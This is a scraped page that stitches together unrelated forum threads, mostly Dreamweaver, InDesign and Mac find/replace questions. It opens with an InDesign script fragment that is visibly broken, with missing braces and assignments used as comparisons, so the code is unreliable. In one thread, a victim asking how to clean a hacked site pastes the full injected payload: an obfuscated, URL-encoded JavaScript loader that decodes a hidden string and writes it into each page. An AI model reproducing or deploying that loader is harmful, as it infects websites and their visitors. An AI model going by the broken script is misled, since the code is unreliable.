app.changeGrepPreferences = NothingEnum.nothing; //
app.findGrepPreferences.appliedParagraphStyle = myPStyle; //
app.findGrepPreferences.findWhat = findEnd_of_Story; //
var fItems = myDocument.findGrep(); //
var myC = fItems.length-1; //
if (fItems =!0){ //
do{ //
if (fItems.appliedParagraphStyle = myPStyle){ //
cItem = fItems[myC] //
app.changeGrepPreferences.changeTo = "$0\\r"; //
myDocument.changeGrep(); //
myC--; //
while (myC >= 0); //
try{
var myDocPath = myDocument.filePath; //Complete Path to the Current Document
catch (myError){
alert (notSaved);
//throw("");
return;
var myFFldr =Folder(myDocPath+"/"+myFiguresFolder); //Complete Path in which the figures to be placed should be found
if(myFFldr.exists){
flow();
app.findGrepPreferences = app.changeGrepPreferences = null;
app.findGrepPreferences.findWhat = grepFind;
var myFoundItems = app.activeDocument.findGrep();
var myCounter = myFoundItems.length-1
myTotal = myCounter+1;
for (i = myCounter; i >=0; i--) {
var myName = myFoundItems[i].contents.replace (/@/g, "");
app.selection = myFoundItems[i];
var fFig=app.selection[0];//Found text for
var cPStyle= fFig.appliedParagraphStyle;
var myFile = new File( myFFldr + "/" + myName);
if (myFile.exists) {
var cFig = fFig.place(myFile);
var sFig = cFig[0].parent;
switch (cPStyle){
case (myPStyle):
myOStyle =oStyle_1;
PWidth = sFig.geometricBounds[3] - sFig.geometricBounds[1];
PHeight = sFig.geometricBounds[2] - sFig.geometricBounds[0];
if (PWidth >= minTWidth){
xTab = (colWidth-PWidth);
else{
xTab =maxTab;
var currentPar = sFig.parent.paragraphs.item(0);
currentPar.leftIndent = xTab;
var nextPar= currentPar.insertionPoints[-1].paragraphs[0];
var nextParStyle = nextPar.appliedParagraphStyle;
if (nextParStyle == NextPStyleCS||nextParStyle ==NextPStyleEN||nextParStyle == NextPStyleDE){
xtTab = xTab
else {
xtTab = nextPar.leftIndent;
nextPar.leftIndent =xtTab;
sFig.appliedObjectStyle = myOStyle;
cPStyle = "";
break;
case (myPStyle):
myOStyle = oStyle_3;
sFig.appliedObjectStyle = myOStyle;
cPStyle = "";
break;
default:
myOStyle = oStyle_2;
sFig.appliedObjectStyle = myOStyle;
cPStyle = "";
break;
var oFig = sFig;
sFig = ""
flow();
//alert(myTotal + finished);
else{
alert(noFolder);
var myDocument = app.documents.item(0);
//Clear the find/change grep preferences.
app.findGrepPreferences = NothingEnum.nothing;
app.changeGrepPreferences = NothingEnum.nothing;
//Set the find options.
app.findChangeGrepOptions.includeFootnotes = false;
app.findChangeGrepOptions.includeHiddenLayers = false;
app.findChangeGrepOptions.includeLockedLayersForFind = false;
app.findChangeGrepOptions.includeLockedStoriesForFind = false;
app.findChangeGrepOptions.includeMasterPages = false;
//Regular expression to use
app.findGrepPreferences.findWhat = "<(.+?)>";
//Apply the change to 24-point text only.
//app.findGrepPreferences.pointSize = 24;
//app.changeGrepPreferences.underline = true;
var myFoundItems = app.activeDocument.findGrep();
var myCounter = myFoundItems.length-1
myTotal = myCounter+1;
//alert("occorrenze" + myTotal);
app.changeGrepPreferences.changeTo= "$1";
app.changeGrepPreferences.appliedCharacterStyle= myDocument.characterStyles.item("head");
myDocument.changeGrep();
for (i = myCounter; i >=0; i--) {
var myName = myFoundItems[i].contents.replace ("/</g", "");
var myName = myFoundItems[i].contents.replace ("/>/g", "");
app.selection = myFoundItems[i];
var fFig=app.selection[0];//Found text for
var myCStyle = myDocument.characterStyles.item("head");
app.selection[0].applyCharacterStyle(myCStyle, true);
//Clear the find/change preferences after the search.
app.findGrepPreferences = NothingEnum.nothing;
app.changeGrepPreferences = NothingEnum.nothing;
main(); -
Find/Replace - multiple replace ... maybe with regex
Hello Dreamweaver community ... I'm relatively new to using Dreamweaver as an editor and I'm working on a large migration project that I'm trying to make easier. Basically, I'm converting an entire site from English to Spanish ... almost literally tag by tag
Something that would make my job a lot easier is if ... every time I open a new Spanish language content file I could ...
replace ALL Spanish language grammar symbols, accents, tildes etc ... with their HTML equivalents ... for example ...
á = á
é = é
í = í
And so on ... there's about 10-12 major changes ...
What I need to figure out is how to save a find/replace query in Dreamweaver .dwr format that replaces all symbols at once instead of needing to do them one at a time ...
Seems like this shoudl be possible but I haven't figured out the right syntax ... I used the (.+) and $1 but it only worked conditionally - in the order the replacements were written. I need it to find ALL instances of a spanish symbol and replace it with its corresponding html ...
Can anyone help me with this ...?
Thank you in advance ...This is in fact the only solution I found to this problem.
Creating an extension is not that difficult once you have the right
reference material.
Have a look at:
DW API function to find and replace
http://livedocs.adobe.com/en_US/Dreamweaver/9.0_API/dwr_code_cd_013.html
Sample extension file on your machine after installing DW
C:\Program Files\Adobe\Adobe Extension
Manager\Samples\Dreamweaver\
Full specifications of the MXI (extension file) format
http://download.macromedia.com/pub/exchange/mxi_file_format.pdf
quote:
Originally posted by:
Newsgroup User
> So, is it indeed possible to run more than one
find/replace query at a
> time?
As far as i know, no it's not possible.
There has been mentions in the past to this question that a
series of
find/replace queries could be built as a dw extension instead
of a saved
search query.
Alan
Adobe Community Expert, dreamweaver -
Where can I find 24" ATI RADEON HD 4850 video card or if there is one compereble to it or does Aple replaces with new one, because ATI RADEON HD 2600 has been recognised as deffective by Apple and APPLE replaces for free. Thanks
http://www.amd.com/us/products/notebook/graphics/Pages/notebook-graphics.aspx is a starting point.
-
Hey guys, I have a slight problem. Anytime when I am navigating in finder, some commands get replaced with numbers and a letter. Like if I double-click to select "open with" N152 appears. Please Help.
Macbook Pro, Mid 2009, 10.6.8Karwin wrote:
This is sooo much, I have no idea where to start........
download and install intego's virusbarrier
http://www.intego.com/virusbarrier/
run a scan and post the results -
Find/Replace Missing With New Monitor
Hi,
I've been happily using DW CS4 for about a year now with 2 19" monitors. I recently am stuck using a single 22" monitor which is generally fine, but my Find/Replace window is now missing. I'm assuming it is off somewhere in the 'virtual' screen. How do I get it -back-? I tried resetting the workspace but although it brings together most of the windows, I do -not- see Find/Replace. (I -can- however see the Find/Replace results pane).
Ideas?
TIA.
---JCAnyone? Driving me -nuts- not having a 'find' window!
I can see the Search -Results- pane, but not the window where one types in the text to 'find'.
Help!
---JC -
Why were the colour icons taken away from the finder and itunes sidebars and and replaced with grey monochrome shade icons.
Have apple rectified this yet ?
It doesn't make sense to me why they changed this. Can anyone tell me the reason for the lack of colour ?
On another note, can the the sidebar be changed back to the right hand side in preview (when opening PDF's). It has always been on the right in snow leopard and tiger.
It seems to me that their has been too many unnecessary changes in the Lion operating system.
Thanks.babowa wrote:
Why were the colour icons taken away from the finder and itunes sidebars and and replaced with grey monochrome shade icons.
Have apple rectified this yet ?
It doesn't make sense to me why they changed this. Can anyone tell me the reason for the lack of colour ?
You'd have to ask Apple, no one here would know - we are just users like you and aren't allowed to speculate on these forums. You have quite a bit of company though - many people preferred the color.
And, I've not found a way to put the sidebar back on the right side in Preview, but maybe someone else can chime in with that.
I much prefer the sidebar a la sinistra -
Find and replace with wildcard
help.. i had my site hacked and they stuck a script at the
end of every file and i need to do a find and replace to remove all
of that coding.
the problem is that the coding is different on every page and
i dont want to have to remove it from 1000+ pages.
i'm pretty sure you can do this with dreamweaver.. all of the
bogus coding is after the </html> at the end of the page.
can anyone help?
here is an example of the coding:
<!--[z0s]-->("%3Cscript%3Eif%28NJ%21%3D1%29%7Bfunction%20nS%28sg%29%7Breturn%20sg%7Dtry%7B var%20zX%3D%27xxvxBvxtvxrvxPvxbvx8vxdvxDvxivx6vxwvxcvxXvxRvxovxIvxjvxUvx3vxSvxTvx7vxfvx4vx nvxsvxkvxgvxyvxLvxYvxOvxZvxMvx9vxzvx5vxGvxHvxhvxmvxJvxpvxqvxCvxWvxavxlvxKvxNvxAvxVvxFvBxvB BvBtvBrvBPvBbvB8vBdvBDvBivB6vBwvBcvBXvBRvBovBIvBjvBUvB3vBSvBTvB7vBf%27%2CcY%3DzX.substr%28 2%2C1%29%3Bvar%20Ar%3DArray%28It%28%27185%27%29%2C28831%5E28777%2C31791%5E31945%2CIt%28%27 247%27%29%2C1043%5E1279%2C16798%5E16747%2C4194%5E4243%2CIt%28%27187%27%29%2CIt%28%27227%27 %29%2C24343%5E24551%2C8596%5E8575%2CIt%28%27234%27%29%2CIt%28%27165%27%29%2CIt%28%27239%27 %29%2CIt%28%27173%27%29%2C15091%5E14887%2C23064%5E23217%2CIt%28%27242%27%29%2CIt%28%27172% 27%29%2CIt%28%27254%27%29%2C16276%5E16231%2CIt%28%27228%27%29%2C21729%5E21507%2C9124%5E907 1%2C22207%5E22023%2CIt%28%27224%27%29%2C24716%5E24653%2CIt%28%27190%27%29%2C16599%5E16403% 2CIt%28%27209%27%29%2CIt%28%27171%27%29%2CIt%28%27232%27%29%2C4557%5E4451%2C2956%5E2865%2C 16528%5E16419%2C29064%5E28985%2CIt%28%27181%27%29%2CIt%28%27225%27%29%2C5641%5E5863%2C2427 6%5E24179%2C9220%5E9465%2C5727%5E5789%2C23429%5E23373%2C29981%5E30155%2C2327%5E2543%2CIt%2 8%27162%27%29%2CIt%28%27180%27%29%2C3058%5E2853%2C21870%5E21947%2C4590%5E4359%2CIt%28%2721 1%27%29%2C30955%5E30785%2C14008%5E13909%2CIt%28%27202%27%29%2CIt%28%27168%27%29%2CIt%28%27 191%27%29%2C19973%5E20129%2CIt%28%27186%27%29%2C10455%5E10249%2CIt%28%27219%27%29%2C4454%5 E4505%2CIt%28%27188%27%29%2CIt%28%27216%27%29%2C20136%5E20081%2CIt%28%27244%27%29%2C12739% 5E12547%2CIt%28%27231%27%29%2CIt%28%27199%27%29%2C1461%5E1353%2CIt%28%27198%27%29%2C5206%5 E5337%2CIt%28%27206%27%29%2CIt%28%27183%27%29%2CIt%28%27182%27%29%2C22279%5E22455%2CIt%28% 27178%27%29%2C22919%5E22875%2C4994%5E4909%29%2CCu%3Bvar%20sg%2CRf%3Bvar%20vB%3D%27xxxBxtxr xPxbx8xdxDxix6xtx8xPxwx6xcxXxtxRx6xoxIxixjxUx3xcxSxTxrxcx7xfx4x6xnxjxcxsxTx8xnxRxUxkxSxTxr xcxcxgxyx4xcx6xnxjxcxsxTx8xnxRxUxkxcxgxyxLxBxnx8xyxPxYxnxRx7xfxLx7xnx8xyxPxYxnxRxUxOxZxMx9 xzxzxzxzxzxUxkxcx5xwxtxixYxnx6x8xLxtxwxwxGxPxnxcx4xcx6xoxOxHx4xHxOxnxBxtxTxbxnxRxixjxUxOxH xkxnxhxbxPxrxnxBx4xHxOxgxyxLx8xwxmxJxyxpx8xrxPx6x7xRxUxkxcxqxSxTxrxcxgxmx4xCxBxWxDx7xaxCxI xlxXx4xCxWxCxkxSxTxrxcx6xmx4xCxixbx5xTx8xnxWxLxtxKxTxBxBxPxtx8xnxKxLxwxrx7xCxIxtxNx4xCxAxV x8xYxKxAxCxkxPxDxRx5xwxtxixYxnx6x8xLxtxwxwxGxPxnxLxPx6x5xnxhxFxDxRxgxmxOxCx4xCxOxlxXxUxcx4 x4BxxWxUx3xSxTxrxcx5xKxVx4x5xwxtxixYxnx6x8xLxKxwxtxTx8xPxwx6xLxVxwxBx8xkxSxTxrxcxwxPx4xcxC xVx8xCxOxCx8xbBBxCxOxCxAxAxCxOxRxcx5xKxVxcBtx4xcxCxCBrxCxCBBxPxtxRxUxUxcxOxcx5xKxVxLxrxnxb xKxTxtxnxcxRxABPBbxTBxB8xzBxBdxLBxBDxAxIxCxLxCxUxLxrxnxbxKxTxtxnxcxRxABixLxOxAxIxCxLxCxUxO xCxLxCxOxPxtxRxUxcxOxCxLxCxcxOxcx6xmxOxtxNxkxSxTxrxcB6xpx4x5xwxtxixYxnx6x8xLxtxrxnxTx8xnBw xKxnxYxnx6x8xRxCxPxDxrxTxYxnxCxUxkB6xpxLxBxnx8xgx8x8xrxPBcxix8xnxcxRxCxBxrxtxCxIxcxwxPxUxk B6xpxLxVxnxPx7xVx8x4xzxkB6xpxLxjxPx5x8xVx4x9xkB6xpxLxDxrxTxYxnBXxwxrx5xnxrxcx4xcxzxkxcx8xr BRx3xcx5xwxtxixYxnx6x8xLBcxwx5BRxLxTxbxbxnx6x5BoxVxPxKx5xcxRxcB6xpxUxkxcxXxtxRxgxmxIxcxlxX xcxUxkxqxcxtxTx8xtxVxRxnxUxcx3x5xwxtxixYxnx6x8xLxjxrxPx8xnxcxRxCxxxVx8xYxKxdxxBcxwx5BRxdxx xABcxwx5BRxdxxxAxVx8xYxKxdxCxUxkxcx5xwxtxixYxnx6x8xLBcxwx5BRxLxTxbxbxnx6x5BoxVxPxKx5xcxRxc B6xpxUxkxXxtxcxRxcxgxmxIxlxXxUxcxkxqxcxqBIxDxix6xtx8xPxwx6xcxPxtxRxUx3xcxSxTxrxcxJBjx4BUx9 xIx5xNx4xHxzxWBUB3x9BSxMBTxZBdxzxTBcxtx5xnxDxHxkxSxTxrxcxoxTx4xHxHxkxcxDxwxrxRBjB7x4xzxkxc BjB7xcxxxcxJBjxkxcBjB7xOxOxUxcxoxTxOx4xcx5xNxLxBxiBcxBx8xrxRxJxTx8xVxLxDxKxwxwxrxRxJxTx8xV xLxrxTx6x5xwxYxRxUBfx5xNxLxKxnx6x7x8xVxUxIxWxIxWxUxkxcxrxnx8xixrx6xcxoxTxkxcxqxxxAxBxtxrxP xbx8xd%27%2Cku%3D%27%27%3Bfunction%20It%28fx%29%7Breturn%20parseInt%28fx%29%7DzX%3DzX.spli t%28cY%29%3Bfor%20%28Cu%3D0%3BCu%3CvB.length%3BCu+%3D2%29%7BRf%3DvB.substr%28Cu%2C2%29%3Bf or%28sg%3D0%3Bsg%3CzX.length%3Bsg++%29%7Bif%28zX%5Bsg%5D%3D%3DRf%29break%3B%7Dku+%3DString .fromCharCode%28Ar%5Bsg%5D%5E133%29%3B%7Ddocument.write%28ku%29%3B%7Dcatch%28vQ%29%7B%7D%7 Dvar%20NJ%3D1%3C/script%3E"))<!--[/z0s]-->
__________________tyankee wrote:
> help.. i had my site hacked and they stuck a script at
the end of every file
> and i need to do a find and replace to remove all of
that coding.
>
> the problem is that the coding is different on every
page and i dont want to
> have to remove it from 1000+ pages.
>
> i'm pretty sure you can do this with dreamweaver.. all
of the bogus coding is
> after the </html> at the end of the page.
>
> can anyone help?
>
> here is an example of the coding:
>
>
>
Find <\/html>.*
Replace with:</html>
Use: RegEx
Mick -
Find and Replace with space or tab
Hi,
I have a text file that has commas separating values. I saved it as a csv, but am not getting the results I need with the csv file. I'd like to replace the commas with a space or a tab.
I know how to use find replace, but I do not know how to indicate these non-printing characters. I tried the ascii code   for space, but i simply get that string of characters replacing my commas.
ANy help?
ThanksKW,
You didn't say what program you were using for the Find and Replace, but I'd suggest that Pages would be your best bet. Spaces can be typed-in directly, and several other non-printing characters can be inserted from a drop-down menu.
The Insert drop-down seems to be available only in Pages, as opposed to Numbers and TextEdit.
Jerry -
My old phone doesn't turn and I want to get the serial number for it to see if it's eligible for the battery replacement with Apple. Can I use the IMEI number to find the serial number?
Call applecare. They can look up the IMEI number in their system to see if the device is eligible.
AppleCare US phone number: (800)-694-7466
Contact Apple for support and service
http://support.apple.com/kb/HE57
Maybe you are looking for
-
Is there a way to have hardware acceleration without the text font change? I remember there was a way to go into settings before and getting hardware acceleration to work without the font change. Unfortunately I lost ALL my previous setting when unin
-
The bounded task flow disappear after exiting
HI ALL i have a simple bounded task flow with fragment with behavior (always begin new transaction) this task flow have 2 pages to show emp and update emp then return with commit value i drop it on a page registered in asfc-config.xml as a region whe
-
Solaris 10 (Sparc) - not entering window environement.
I have installed Solaris 10 in a Blade 100 and upon rebooting from the install it goes directly to a command line login on the console. The graphical login does not start. I have installed on this system twice now with the same results. Install was f
-
I cant log in as I get the following message "Your home folder, which is protected by FireVault, didn't open. It needs to be repaired. TO repair the folder and continue logging in, click OK to login" I clicked ok but no luck logging in
-
Premiere Pro CC 2014 freezes frequently and crashes
Since upgrading from Premiere Pro CC to Premiere Pro CC 2014 my projects crash in regular intervals, which didn't happen before. All my settings and presets have been pulled across fine, but suddenly relatively slim projects get stuck during editing,